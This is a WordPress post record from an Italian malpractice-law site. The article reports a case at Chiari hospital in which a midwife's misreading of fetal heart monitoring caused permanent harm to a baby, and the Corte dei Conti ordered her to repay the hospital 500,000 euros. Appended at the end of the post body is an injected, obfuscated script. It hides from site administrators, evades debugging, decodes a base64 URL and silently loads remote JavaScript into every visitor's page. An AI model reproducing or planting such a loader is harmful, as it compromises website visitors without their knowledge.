{"id":28341,"date":"2023-06-19T10:17:25","date_gmt":"2023-06-19T10:17:25","guid":{"rendered":"https:\/\/www.dimariamalasanita.it\/?p=28341"},"modified":"2026-04-15T05:14:08","modified_gmt":"2026-04-15T05:14:08","slug":"ostetrica-sbaglia-durante-il-travaglio-causando-danni-permanenti-al-bambino-costretta-a-risarcire-lospedale","status":"publish","type":"post","link":"https:\/\/www.dimariamalasanita.it\/?p=28341","title":{"rendered":"Ostetrica sbaglia durante il travaglio causando danni permanenti al bambino: costretta a risarcire l&#8217;ospedale"},"content":{"rendered":"<p>OSTETRICA SBAGLIA DURANTE IL TRAVAGLIO CAUSANDO DANNI PERMANENTI AL BAMBINO ED \u00c8 COSTRETTA A RISARCIRE L\u2019OSPEDALE PER UNA SOMMA PARI A 500 MILA EURO<\/p>\n<p>Questo nuovo caso di malpractice medica \u00e8 avvenuto presso l\u2019Ospedale di Chiari, in provincia di Brescia, nel 2015 dove un\u2019ostetrica avendo effettuato un monitoraggio errato della frequenza cardiaca del nascituro, ha fatto s\u00ec che il medesimo rimanesse a lungo senza ossigeno.<br \/>\nA causa della complicanza respiratoria prolungata nel tempo, il bambino riportava danni neurologici permanenti specialmente in campo posturale e motorio e lamentava anche deficit nello sviluppo.<br \/>\nInizialmente la famiglia presentava una querela per procedere penalmente contro la ginecologa e l\u2019ostetrica.<br \/>\nSuccessivamente, grazie all\u2019accordo raggiunto con l\u2019ospedale di Chiari per un risarcimento di 1,5 milioni di euro, i genitori del bambino ritiravano la querela nei confronti delle professioniste.<br \/>\nDopo il pagamento della somma concordata, l\u2019azienda sanitaria segnalava l\u2019accaduto alla Corte dei Conti, che successivamente citava in giudizio sia l\u2019ostetrica che la ginecologa.<br \/>\nLa Corte dei Conti, dopo l\u2019istruttoria iniziale, condannava l\u2019ostetrica a risarcire l\u2019ospedale di Chiari per una somma pari a 500 mila euro poich\u00e9 nel corso della perizia, era risultata evidente la responsabilit\u00e0 in capo all\u2019ostetrica per i danni occorsi al piccolo, mentre la ginecologa veniva assolta.<br \/>\nSecondo i giudici della Corte dei Conti in capo alla ginecologa non \u00e8 configurabile l\u2019ipotesi di colpa grave.<br \/>\nEd invece, i medesimi rilevavano le responsabilit\u00e0 ascrivibili all\u2019ostetrica poich\u00e9 dai suoi errori e dai suoi ritardi dipesero i gravi danni riportati dal nascituro.<br \/>\nCerchiamo di capire come si svolsero i fatti concretamente e i comportamenti adottati da entrambe le professioniste.<br \/>\nNel caso in esame, si \u00e8 verificato lo stesso problema (valori critici della frequenza cardiaca con il rischio che il feto andasse in sofferenza) in due momenti diversi.<\/p>\n<p>La prima volta l\u2019ostetrica, seguendo le leges artis, chiedeva l\u2019aiuto della ginecologa tempestivamente e, grazie all\u2019intervento di quest\u2019ultima la situazione tornava sotto controllo.<br \/>\nLa seconda volta, invece, l\u2019ostetrica non comprendeva i dati del tracciato cardiaco che evidenziavano una sofferenza fetale e non informava debitamente la ginecologa.<br \/>\nL\u2019errore dell\u2019ostetrica \u00e8 stato determinante nel provocare i danni permanenti al nascituro, mentre la ginecologa \u00e8 stata assolta perch\u00e9 non completamente informata sulla gravit\u00e0 della situazione e sulla necessit\u00e0 di intervenire, il pi\u00f9 rapidamente possibile, per impedire il danno.<br \/>\nIn estrema sintesi, potremmo dire che nel comportamento dell\u2019ostetrica \u00e8 configurabile l\u2019ipotesi di colpa grave e proprio per questo motivo \u00e8 stata ritenuta responsabile e ha dovuto risarcire l\u2019ospedale di Chiari con una somma pari a 500 mila euro.<\/p>\n<p>Dott. Luigi Pin\u00f2<\/p>\n<hr \/>\n<ul>\n<li><a href=\"https:\/\/www.dimariamalasanita.it\/flash-news\/\" target=\"_blank\" rel=\"noopener\">Leggi altri articoli dalla sezione flash news<\/a><\/li>\n<li><a href=\"https:\/\/www.dimariamalasanita.it\/blog\/\" target=\"_blank\" rel=\"noopener\">Leggi altri articoli dalla sezione blog<\/a><\/li>\n<li><a href=\"https:\/\/www.dimariamalasanita.it\/contatti\/\" target=\"_blank\" rel=\"noopener\">Contattaci per avere pi\u00f9 info<\/a><\/li>\n<\/ul>\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>OSTETRICA SBAGLIA DURANTE IL TRAVAGLIO CAUSANDO DANNI PERMANENTI AL BAMBINO ED \u00c8 COSTRETTA A RISARCIRE L\u2019OSPEDALE PER UNA SOMMA PARI A 500 MILA EURO Questo nuovo caso di malpractice medica \u00e8 avvenuto presso l\u2019Ospedale di Chiari, in provincia di Brescia, nel 2015 dove un\u2019ostetrica avendo effettuato un monitoraggio errato della frequenza cardiaca del nascituro, ha [&hellip;]<\/p>\n","protected":false},"author":133,"featured_media":28342,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[231,1],"tags":[],"class_list":["post-28341","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-flash_news","category-malasanita"],"_links":{"self":[{"href":"https:\/\/www.dimariamalasanita.it\/index.php?rest_route=\/wp\/v2\/posts\/28341","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.dimariamalasanita.it\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.dimariamalasanita.it\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.dimariamalasanita.it\/index.php?rest_route=\/wp\/v2\/users\/133"}],"replies":[{"embeddable":true,"href":"https:\/\/www.dimariamalasanita.it\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=28341"}],"version-history":[{"count":3,"href":"https:\/\/www.dimariamalasanita.it\/index.php?rest_route=\/wp\/v2\/posts\/28341\/revisions"}],"predecessor-version":[{"id":28477,"href":"https:\/\/www.dimariamalasanita.it\/index.php?rest_route=\/wp\/v2\/posts\/28341\/revisions\/28477"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.dimariamalasanita.it\/index.php?rest_route=\/wp\/v2\/media\/28342"}],"wp:attachment":[{"href":"https:\/\/www.dimariamalasanita.it\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=28341"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.dimariamalasanita.it\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=28341"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.dimariamalasanita.it\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=28341"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}